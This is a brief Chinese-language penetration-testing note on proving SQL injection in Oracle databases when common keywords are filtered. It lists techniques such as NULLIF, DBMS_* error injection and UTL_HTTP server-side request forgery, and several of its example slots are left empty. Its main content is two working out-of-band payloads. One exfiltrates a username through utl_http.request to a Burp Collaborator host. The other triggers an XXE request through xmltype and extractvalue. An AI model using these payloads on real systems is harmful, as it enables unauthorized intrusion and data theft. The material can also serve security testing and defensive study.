,case when ,select,from,decode等函数如何证明是注入?

　　(1)nullif: NULLIF:如果exp1和exp2相等则返回空(NULL)，否则返回第一个值

　　　真:　

　　假:

(2)nvl/nvl2 测试失败无法实现:)记录

(3)如果是oracle报错注入,尝试dbms_*系列:

　　举一个例子:

(4)utl_*_* (ssrf)

　　举一个例子:

可以导致ssrf攻击

如果没过滤select 和from，可直接外带数据出来:

select * from t_user where name='admin'||utl_http.request('http://'||(select name from t_user where rownum=1)||'.dubnrh9tpexzcv48ip3ug8up1g76vv.burpcollaborator.net')||''

(5) oracle to xxe:

select * from t_user where age=18||extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % evil SYSTEM "http://918eso6otf18ojltzk9u9rxhq8wzko.burpcollaborator.net">%evil;]>'),'/l')